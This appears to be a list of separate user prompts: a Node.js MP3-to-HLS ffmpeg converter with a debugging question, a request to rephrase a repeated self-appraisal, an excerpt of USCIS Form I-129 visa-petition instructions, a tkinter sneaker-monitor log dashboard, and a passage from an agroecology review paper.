duration from input. Please check your regex. (Input "\' + input + \'", "\' + regex + \'", Parsing Result: "\' + JSON.stringify(parsingResult) + \'")\')\n return duration\n } catch (e) {\n e.message = \'Cannot parse duration: \' + e.message\n throw e\n }\n }\n\n /\\*\\*\n \\* Method to process stream data - in this case forwarding to the one or th other duplex stream\n \\*\n \\* @param {Buffer} chunk\n \\*/\n processData (chunk) {\n this.channels[this.streamRunning].push(chunk)\n }\n\n /\\*\\*\n \\* Method to handle source stream parsing issues\n \\*\n \\* @param {object} error - JS error object\n \\*/\n handleError (error) {\n log.error(error)\n }\n\n /\\*\\*\n \\* Initialize the convertion FFMPEG process\n \\*/\n initFfmpeg () {\n this.ffmpegInstances[0] = this.convertMp3ToHls({ stream: this.channels[0], channel: 0 })\n this.ffmpegInstances[0].run()\n }\n\n /\\*\\*\n \\* Switch to another duplex channel to start another ffmpeg instance\n \\*\n \\* @description\n \\*\n \\* This switch leads to FFMPEG cropping of the hls data at the current position.\n \\* That way it is possible to crop the HLS segments at the exact position where ads are inserted.\n \\* The next instance of FFMPEG will pick up the state and insert a DISCONTINITY tag.\n \\* We can use the tag later in the processing to insert SCTE-35 Marker.\n \\*/\n async switchStream () {\n try {\n await sleep(this.sourceStreamOffset)\n\n log.info(\'End Stream: \' + this.streamRunning)\n // Stop the current stream\n this.channels[this.streamRunning].push(null)\n\n // Switch to the other stream\n this.streamRunning = (this.streamRunning + 1) % 2\n this.channels[this.streamRunning] = createStream()\n\n // Initialize a new ffmpeg instance for the new stream\n this.ffmpegInstances[this.streamRunning] = this.convertMp3ToHls({ stream: this.channels[this.streamRunning], channel: this.streamRunning })\n this.ffmpegInstances[this.streamRunning].run()\n this.adStartMediaSequenceNumber++\n\n log.info(\'Stream running: \' + this.streamRunning)\n } catch (e) {\n e.message = \'Cannot switch streams: \' + e.message\n log.error(e)\n }\n }\n\n /\\*\\*\n \\* Start an FFMPEG process to convert Mp3 to HLS.\n \\*\n \\* @param {Duplex} stream - stream to use for ffmpeg processing\n \\* @param {number} channel - currently used channel\n \\*/\n convertMp3ToHls ({ stream, channel }) {\n const instance = ffmpeg(stream)\n .noVideo()\n .audioCodec(\'aac\')\n .audioBitrate(\'256k\')\n .format(\'hls\')\n .outputOptions([\n \'-hls\\_time \' + this.hlsSegmentLength, // Segment length\n \'-hls\\_segment\\_type mpegts\',\n \'-hls\\_segment\\_filename out/file-%01d.ts\',\n \'-hls\\_list\\_size 30\', // Window\n \'-hls\\_flags append\\_list+omit\\_endlist+delete\\_segments\',\n \'-master\\_pl\\_name master.m3u8\'\n ])\n .output(\'out/playlist.m3u8\')\n .on(\'end\', function () {\n log.debug(\'FFMPEG: Done processing input stream\')\n })\n .on(\'error\', function (err) {\n log.error(\'FFMPEG: An error happened on channel[\' + channel + \']: \' + err.message)\n })\n .on(\'progress\', function (str) {\n log.debug(\'FFMPEG: Transcoding Channel[\' + channel + \']: Progress: \' + JSON.stringify(str.timemark))\n })\n\n return instance\n }\n}\n\nmodule.exports = AudioConverter\nHere the stream is read. But the streamtitle is undefined, why?' -"rephrase the below items\nStarting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I Starting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I Starting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I always try and take the end-to-end development and deployment responsibilities of new services or features" -'Additional Information Regarding H-2A and H-2B Petitions\nNaming Beneficiaries\nGenerally, you may request unnamed workers as beneficiaries of an H-2A or H-2B petition. You may also request some\nnamed and some unnamed workers, as long as you are requesting the same action for each worker. However, the total\nnumber of workers you request on the petition must not exceed the number of workers approved by the Department of\nLabor or Guam Department of Labor, if required, on the temporary labor certification.\nWorkers must be named if you request workers who:\n1. Are currently in the United States;\n2. Are nationals of countries that are not on the eligible countries list (see link and information below); or\n3. Must meet minimum job requirements described on the temporary labor certification.\nEligible Countries List\nH-2A and H-2B petitions may generally only be approved for nationals of countries that the Secretary of Homeland\nSecurity has designated, with the concurrence of the Secretary of State, as eligible to participate in the H-2 program. The\ncurrent list of eligible countries is located at www.uscis.gov/h-2a and www.uscis.gov/h-2b.\nNationals of countries that are not eligible to participate in the H-2 program may still be named as beneficiaries on an\nH-2A or H-2B petition. To do so, you must:\n1. Name each beneficiary who is not from an eligible country; and\n2. Provide evidence to show that it is in the U.S. interest for the alien to be the beneficiary of such a petition.\nUSCIS’ determination of what constitutes U.S. interest takes into account certain factors, including but not limited to:\n1. Evidence demonstrating that a worker with the required skills is not available from among foreign workers from a\ncountry currently on the eligible countries list;\nNOTE: Also, for H-2A petitions only, the petitioner must submit evidence demonstrating that a U.S. worker with the\nrequired skills is not available.\n2. Evidence that the beneficiary has been admitted to the United States previously in H-2A or H-2B status;\n3. The potential for abuse, fraud, or other harm to the integrity of the H-2A or H-2B visa program through the potential\nadmission of a beneficiary from a country not currently on the eligible countries list; and\n4. Such other factors as may serve the U.S. interest.\nProhibited Fees\nAs a condition of approval of an H-2A or H-2B petition, no job placement fee or other compensation (either direct or\nindirect) may be collected at any time from a beneficiary of an H-2A or H-2B petition. This includes collection by a\npetitioner, agent, facilitator, recruiter, or similar employment service, as a condition of employment, whether before or\nafter the filing or approval of a petition. Unless the payment of such fees by a worker is prohibited under law, the only\nexceptions to this are:\n1. The lower of the actual cost or fair market value of transportation to the offered employment; and\n2. Any government-mandated passport, visa, or inspection fees.\nIf USCIS determines any of the following have occurred, the petition will be denied or revoked. The only exceptions to a\nmandatory denial or revocation are found at 8 CFR 214.2(h)(5)(xi)(A)(4) and 8 CFR 214.2(h)(6)(i)(B)(4):\n1. You collected, or entered into an agreement to collect, prohibited fees as described above;\n2. You knew, or should have known, at the time of filing the petition that the beneficiary paid, or agreed to pay, any\nagent, facilitator, recruiter, or similar employment service as a condition of employment;\n3. The beneficiary paid you prohibited fees or compensation as a condition of employment after the petition was filed; or\n4. You knew, or had reason to know, that the beneficiary paid, or agreed to pay, the agent, facilitator, recruiter, or similar\nemployment service prohibited fees after the petition was filed.\nForm I-129 Instructions 11/02/22 Page 15 of 30\nThe petition should be filed with evidence that indicates the beneficiaries have not paid, and will not pay, prohibited fees\nto the best of your knowledge.\nInterrupted Stays\nInterrupted stays are certain periods of time that a worker spends outside the United States during an authorized period\nof stay in H-2A or H-2B status. An interrupted stay does not count toward the worker’s maximum 3-year limit in the\nclassification.\nAn H-2A or H-2B worker may qualify for an interrupted stay under the following conditions:\nIf the worker was in the United States in H-2 status\nfor an aggregate period of:\nThen H-2 time is interrupted if he or she is outside\nthe United States for:\n18 months or less At least 45 days, but less than 3 months\nMore than 18 months, but less than 3 years At least 2 months\nTime in H-2A or H-2B status is not automatically interrupted if the worker departs the United States. It is considered\ninterrupted only if the guidelines in the above chart are met. For more on interrupted stays, see www.uscis.gov.\nNotification Requirements\nBy filing an H-2A or H-2B petition, you agree to notify USCIS within 2 work days if an H-2A or H-2B worker:\n1. Fails to report to work within 5 workdays after the employment start date stated on the petition or within 5 workdays\nafter the start date as established by the H-2A employer, whichever is later;\n2. Completes the labor or services more than 30 days earlier than the employment end date stated on the petition;\n3. Absconds from the worksite; or\n4. Is terminated prior to the completion of the services or labor.\nFailure to comply with this agreement may result in penalties. See www.uscis.gov for more information.\nFiling Multiple Petitions\nYou generally may file one petition to request all of your H-2A or H-2B workers associated with one temporary labor\ncertification. In cases where filing a separate petition is not required, it may be advantageous to file more than one H-2A\nor H-2B petition instead. This can occur when you petition for multiple workers, some of whom may not qualify for part\nor all of the validity period you request. This most frequently occurs when:\n1. Some of the workers you request are not nationals of a country on the eligible countries list;\n2. You request interrupted stays for workers; or\n3. At least one worker is nearing the 3-year maximum stay limit.\nIf we request additional evidence because of these situations, it may delay petition processing. Filing separate petitions\nfor workers who are not affected by these scenarios may enable you to quickly obtain some workers, if they are otherwise\neligible, in the event that the petition for your other workers is delayed.\nIf you decide to file more than one petition with the same temporary labor certification, you may do so if:\n1. One petition is accompanied by the original temporary labor certification;\n2. The total number of beneficiaries on your petitions does not exceed the total number of workers approved by the U.S.\nDepartment of Labor on the temporary labor certification; and\n3. The other petitions are accompanied by copies of the same temporary labor certification, along with an attachment\nexplaining why the original was not submitted.\nH-3 Nonimmigrants (Two Types)\nThe H-3 classification is for aliens coming to the United States temporarily to participate in a special education\nexchange visitor program in the education of children with physical, mental, or emotional disabilities.\nForm I-129 Instructions 11/02/22 Page 16 of 30\nWrite H-3 in the classification block.\nAny custodial care of the children must be incidental to the training program. The petition must be filed by a U.S.\nemployer, which must be a facility which has professionally trained staff and a structured program for providing education\nto children with disabilities and training and hands-on experience to participants in the special education exchange visitor\nprogram. The petition must be filed with:\n1. A description of the training, staff, and facilities; evidence that the program meets the above conditions; and details of\nthe beneficiary’s participation in the program; and\n2. Evidence showing that the beneficiary is nearing completion of a baccalaureate degree in special education, or already\nholds such a degree, or has extensive prior training and experience in teaching children with physical, mental, or\nemotional disabilities.\nThe H-3 classification is also for aliens coming to the United States temporarily to receive training from an\nemployer in any field other than graduate medical education or training.\nWrite H-3 in the classification block.\nThe petition must be filed with:\n1. A detailed description of the structured training program, including the number of classroom hours per week and the\nnumber of hours of on-the-job training per week;\n2. A summary of the prior training and experience of each beneficiary in the petition; and\n3. An explanation stating why the training is required, whether similar training is available in the beneficiary’s country,\nhow the training will benefit the beneficiary in pursuing a career abroad, the source of any remuneration the trainee\nwill receive and any benefit the petitioner will obtain by providing the training.\nL-1 Nonimmigrants (Two Types)\nThe L-1A classification is for aliens coming to the United States temporarily to perform services in a managerial\nor executive capacity for the same employer (or for the parent, branch, subsidiary, or affiliate of the employer) that\nemployed the alien abroad in a capacity that was managerial or executive in nature, or one that required specialized\nknowledge, for at least 1 continuous year within the last 3 years. In the case of an L-1A beneficiary who is coming to\nthe United States to set up a new office, the 1 year of experience abroad must have been in an executive or managerial\ncapacity.\nWrite L-1A in the classification block.\nEither a U.S. employer or foreign employer may file the petition, but the foreign employer must have a legal business\nentity in the United States.\nThe L-1B classification is for aliens coming to the United States temporarily to perform services that require\nspecialized knowledge for the same employer (or for the parent, branch, subsidiary, or affiliate of the employer) that\nemployed the alien abroad in a capacity that was managerial or executive in nature, or one that required specialized\nknowledge for at least 1 continuous year within the last 3 years.\\*\\*\\* Specialized knowledge is either: (a) special\nknowledge of the petitioning employer’s product, service research, equipment, techniques, management, or other\ninterests and its application in international markets or (b) an advanced level of knowledge or expertise in the employing\norganization’s processes or procedures.\n\\*\\*\\* In the case of blanket petitions, the L-1B must be a specialized knowledge professional. There is no requirement,\nhowever, that the person have acted in a “professional capacity” while abroad for purposes of meeting the one-year\nrequirement.\nWrite L-1B in the classification block.\nGeneral L Classification Requirements\nEither a U.S. or foreign employer may file the petition.\nThe petition must be filed with: 1. Evidence establishing the existence of the qualifying relationship between the U.S. and foreign employer based on\nownership and control, such as: an annual report, articles of incorporation, financial statements, or copies of stock\ncertificates. Note: Whether such evidence will be sufficient to meet the petitioner’s burden of establishing such a\nqualifying relationship will depend on the quality and probative value of the evidence submitted.\n2. Evidence of the beneficiary’s employment for the required one year abroad in, as applicable, a managerial, executive,\nor specialized knowledge capacity. Such evidence may include, but is not limited to, a letter from the beneficiary’s\nforeign qualifying employer detailing his or her dates of employment, job duties, and qualifications, along with\nsupporting documentary evidence; and\n3. A description of the proposed job duties and qualifications, and evidence showing that the proposed employment is in\nan executive, managerial, or specialized knowledge capacity.' -'that seems perfect, can you apply that to this:\n\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import filedialog\nimport datetime\nimport os\nimport time\n\npaths = [r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-alumni\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-atmos\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-creme123\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-footlocker-benEdit\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-kith\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-kith-benEdit\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-millennium\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-premier\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-shoe\\_palace\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-sneaker\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-sneaker\\_politics\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-supreme\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-undefeated\\shopify-monitor.log"]\n\ndef tail(f, window=1):\n """\n Returns the last `window` lines of file `f` as a list of bytes.\n """\n if window == 0:\n return b\'\'\n BUFSIZE = 1024\n f.seek(0, 2)\n end = f.tell()\n nlines = window + 1\n data = []\n while nlines > 0 and end > 0:\n i = max(0, end - BUFSIZE)\n nread = min(end, BUFSIZE)\n\n f.seek(i)\n chunk = f.read(nread)\n data.append(chunk)\n nlines -= chunk.count(b\'\\n\')\n end -= nread\n return b\'\\n\'.join(b\'\'.join(reversed(data)).splitlines()[-window:])\n\ndef get\\_recent\\_log\\_lines():\n current\\_time = datetime.datetime.now()\n live\\_monitors\\_data = []\n dead\\_monitors\\_data = []\n\n for x in range(len(paths)):\n with open(paths[x], \'rb\') as f:\n last\\_lines = tail(f, 1).decode(\'utf-8\')\n line\\_list = last\\_lines.splitlines()\n for y in range(len(line\\_list)):\n line\\_time = datetime.datetime(int(line\\_list[y][:4]), int(line\\_list[y][5:7]), int(line\\_list[y][8:10]), int(line\\_list[y][11:13]), int(line\\_list[y][14:16]), int(line\\_list[y][17:19]), int(line\\_list[y][20:23]))\n line\\_age = (current\\_time - line\\_time)\n name\\_split = paths[x][88:].split("\\\\", 1)\n values = [name\\_split[0], line\\_age]\n if line\\_age.total\\_seconds() < 600:\n live\\_monitors\\_data.append(values)\n else:\n dead\\_monitors\\_data.append(values)\n return live\\_monitors\\_data, dead\\_monitors\\_data\n\nsums\\_seconds = []\ncounts = []\n\ndef refresh\\_display():\n live\\_mons, dead\\_mons = get\\_recent\\_log\\_lines()\n\n listbox2.delete(0, tk.END)\n listbox2.insert(tk.END, "Live Monitors: ( " + str(len(live\\_mons)) + " )")\n live\\_mons\\_avg = []\n for mon in range(len(live\\_mons)):\n # Initialize the sum and count for each monitor\n if mon >= len(sums\\_seconds):\n sums\\_seconds.append(0)\n counts.append(0)\n # Get the total seconds\n seconds = live\\_mons[mon][1].total\\_seconds()\n # Add to the sum and increase the count\n sums\\_seconds[mon] += seconds\n counts[mon] += 1\n # Calculate the average\n average = sums\\_seconds[mon] / counts[mon]\n # Append the monitor name, seconds and average to the list\n live\\_mons\\_avg.append((live\\_mons[mon][0], round(seconds, 2), round(average, 2)))\n # Sort the list by the average\n sorted\\_live\\_mons = sorted(live\\_mons\\_avg, key=lambda x: x[2])\n # Print the sorted list\n for mon in range(len(sorted\\_live\\_mons)):\n listbox2.insert(tk.END,sorted\\_live\\_mons[mon][0] + ": " + str(sorted\\_live\\_mons[mon][1]) + " Average: " + str(sorted\\_live\\_mons[mon][2]))\n # Print the dead monitors\n listbox2.insert(tk.END, "")\n listbox2.insert(tk.END, "Dead Monitors: ( " + str(len(dead\\_mons)) + " )")\n for mon in range(len(dead\\_mons)):\n listbox2.insert(tk.END, dead\\_mons[mon][0] + ": " + str(round(dead\\_mons[mon][1].total\\_seconds(), 2)) )\n root.after(1000, refresh\\_display)\ndef button1\\_clicked():\n live\\_mons, dead\\_mons = get\\_recent\\_log\\_lines()\n\n listbox2.delete(0, tk.END)\n listbox2.insert(tk.END, "Live Monitors: ( " + str(len(live\\_mons)) + " )")\n live\\_mons\\_avg = []\n for mon in range(len(live\\_mons)):\n seconds = live\\_mons[mon][1].total\\_seconds()\n listbox2.insert(tk.END, live\\_mons[mon][0] + ": " + str(round(seconds, 2)) )\n listbox2.insert(tk.END, "Dead Monitors: ( " + str(len(dead\\_mons)) + " )")\n for mon in range(len(dead\\_mons)):\n listbox2.insert(tk.END, dead\\_mons[mon][0] + ": " + str(round(dead\\_mons[mon][1].total\\_seconds(), 2)) )\n pass\n\ndef button2\\_clicked():\n # code for button 2\n pass\n\ndef add\\_path():\n filepath = filedialog.askopenfilename()\n if filepath:\n paths.append(filepath)\n update\\_listbox()\n\ndef remove\\_path():\n selection = listbox1.curselection()\n if selection:\n index = int(selection[0])\n del paths[index]\n update\\_listbox()\n\ndef update\\_listbox():\n listbox1.delete(0, tk.END)\n for path in paths:\n listbox1.insert(tk.END, path)\n\nroot = tk.Tk()\nroot.geometry("1024x500")\nroot.title("MonMonGUI")\n\n# Create a frame for the buttons\nbutton\\_frame = tk.Frame(root)\nbutton\\_frame.pack(side=tk.LEFT, fill=tk.Y)\n\n# Create the buttons and add them to the button frame\nbutton1 = tk.Button(button\\_frame, text="Refresh MonMon", command=button1\\_clicked)\nbutton1.pack(fill=tk.X)\nbutton2 = tk.Button(button\\_frame, text="Button 2", command=button2\\_clicked)\nbutton2.pack(fill=tk.X)\nbutton3 = tk.Button(button\\_frame, text="Add File", command=add\\_path)\nbutton3.pack(fill=tk.X)\n\n# Create a Tab Control\nnotebook = ttk.Notebook(root)\nnotebook.pack(fill=tk.BOTH, expand=True)\n\n# Create Tab 1\ntab1 = ttk.Frame(notebook)\nlistbox1 = tk.Listbox(tab1)\nlistbox1.pack(fill=tk.BOTH, expand=True)\nnotebook.add(tab1, text="Product Monitors")\n\n# Create a remove button\nremove\\_button = tk.Button(tab1, text="Remove", command=remove\\_path)\nremove\\_button.pack(side=tk.BOTTOM, anchor=tk.SE)\n\nupdate\\_listbox()\n\n# Create Tab 2\ntab2 = ttk.Frame(notebook)\nnotebook.add(tab2, text="MonMon")\nlistbox2 = tk.Listbox(tab2)\nlistbox2.pack(fill=tk.BOTH, expand=True)\n\nroot.after(1000, refresh\\_display)\nroot.mainloop()' -'Here is the final part of this paper:\nScaling up and co-optation\nWithin the discourse field, a third thread emerges which is mainly discussed in agroecology literature: although agroecology is internationally increasingly recognised and the number of publications is continuously growing, it is locally restricted to specific contexts. The question is raised whether the approach is applicable on a larger, global scale. Proponents of agroecology urge to disseminate examples of agroecological systems with proven on-farm social, productive and ecological benefits (Altieri and Nicholls 2012): It is reasoned how agroecology could ‘‘scale up’’ (i.e. increasing support from institutions and policy makers) and ‘‘scale out’’ (spreading agroecological approaches to other farmers and communities) (Holt-Gime´nez and Altieri 2012; Parmentier 2014). How agroecology can be adopted at a larger scale has been widely debated among scholars, NGOs and national and international policy makers (De Schutter and Vanloqueren 2011; Parmentier 2014; Silici 2014; Wibbelman et al. 2013). De Schutter and Vanloqueren (2011) discuss preconditions for a wider implementation. Apart from the necessity to focus efforts specifically on smallholders, these include the need for public goods such as rural infrastructure (e.g. roads, electricity), storage facilities, agricultural research and development, credit and insurance against weather-related risks, education and support to farmers’ organisations and cooperatives. Due to the knowledge-intensive and participatory nature of agroecology, particularly extension services are seen as crucial (local farmer field schools, farmerto-farmer networks or community seed banks). On a regional and global level, highly organised peasant organisations (such as LVC), NGOs and church groups spread knowledge and experiences to further agroecological farming methods (IPC-IG 2012; De Schutter and Vanloqueren 2011; Altieri and Nicholls 2012).\nWithin the discourse field, there are discussions and diverging views regarding the applicability of agroecology for large, industrialised farms. Parmentier (2014) considers this question to be important, seeing it as an indicator for the potential of agroecology to transform the industrial farming system. So far, respective literature provides only little information about the extent to which this is possible. Given the focus on monocropping systems in many large industrial farms, designed for optimising the productivity of one crop, some agroecological practices such as those that are based on the inclusion of biodiversity are expected to reach limits (Parmentier 2014).\nAn opening towards large-scale agriculture is observed critically by others. In this regard, Pimbert et al. (2014) clarify the different roles, which are currently assigned to agroecology: either transforming the agricultural system, as promoted in scientific agroecological literature and textbooks (e.g. Altieri 2012; Gliessman 2015), peasant organisations (such as LVC), church groups (EKD 2015) by development organisations (e.g. Parmentier 2014) or the IAASTD (2009). However, agroecological practices are also included in conventional agriculture (such as they form part of SI), which Pimbert et al. (2014) describe as a role conforming to the prevailing agricultural system or complementing a new Green Revolution.\nThis conforming view on agroecology is denounced by many proponents of agroecology and food sovereignty movements and is frequently referred to as co-optation. As Holt-Gime´nez and Altieri (2012: 97) describe ‘‘[t]he functional dualism of capitalist agriculture utilizes the new Green Revolution to convert smallholders and agroecology into means (rather than barriers) for the expansion of industrial agriculture […] If agroecology is co-opted by reformist trends in the Green Revolution, the corporate food regime will likely be strengthened, the countermovement weakened, and substantive reforms to the corporate food regime unlikely.’’ LVC rejects the inclusion of agroecology into other concepts and is concerned about the reduced perspective on agroecology: As such it would be treated like a toolbox for industrial agriculture—which would be contrary to the underlying principles of agroecology (LVC 2014). It is this reduction in agroecology to its ecological foundation, ignoring its social content which evokes harsh critique: ‘‘These superficial technical adjustments are ideologically buttressed by intellectual projects to reframe and redefine Agroecology by stripping it of its political and social content [...] and promote the wrong notion that agroecological methods can co-exist—alongside the aggressive expansion of transgenic crops and agrofuels’’ (Altieri 2012: 5).\nDiscussion\nThis presentation of three priority issues in the discourse field on SI and agroecology can only allow for a general overview and brief insight into this relatively new, but increasingly discussed topic. Although the analysis of this discourse field is far from being exhaustive, certain subjects in the discussions emerge, which are characterised by uncertain or contested knowledge.\nThis applies to the knowledge about the required increase in food production to meet a growing demand. On the one hand, this has to do with outdated estimates on future food demand (i.e. necessary production increase by 100 or 70 %) which are still referred to by some actors, despite their revision in the year 2012. On the other hand, the estimates are based on current demand curves, which are likely to be subject to change. As some of the major uncertainties for future demand patterns (Foresight 2011), specifies the level of consumption increase in Africa, the degree to which diets in developing countries will change to converge with diets in high-income countries, and the effects, increased GDP will have on population growth and per capita demand. Furthermore, the actual number of people suffering from hunger is contested since recent modifications in the estimation methodology and re-definition of hunger by the FAO, which had resulted in lower numbers of undernourished people (EKD 2015). Ultimately, knowledge about some of the basic figures in this discourse field is contested or uncertain.\nAnother area of uncertain knowledge concerns the productivity of agroecological farming methods. The literature frequently refers to the same studies (mainly Pretty et al. 2006 as the largest study conducted so far). There seems to be a relative lack of comprehensive studies (e.g. including various parameters such as economic viability), and other studies are reported to be difficult to compare as they are based on different parameters and analytic tools (Silici 2014). Despite the great number of agroecological projects in Africa, Asia and Latin America (Altieri and Nicholls 2012), this leads to diverse but rather context-specific evidence for the benefits of agroecology and there is great need for further consolidated 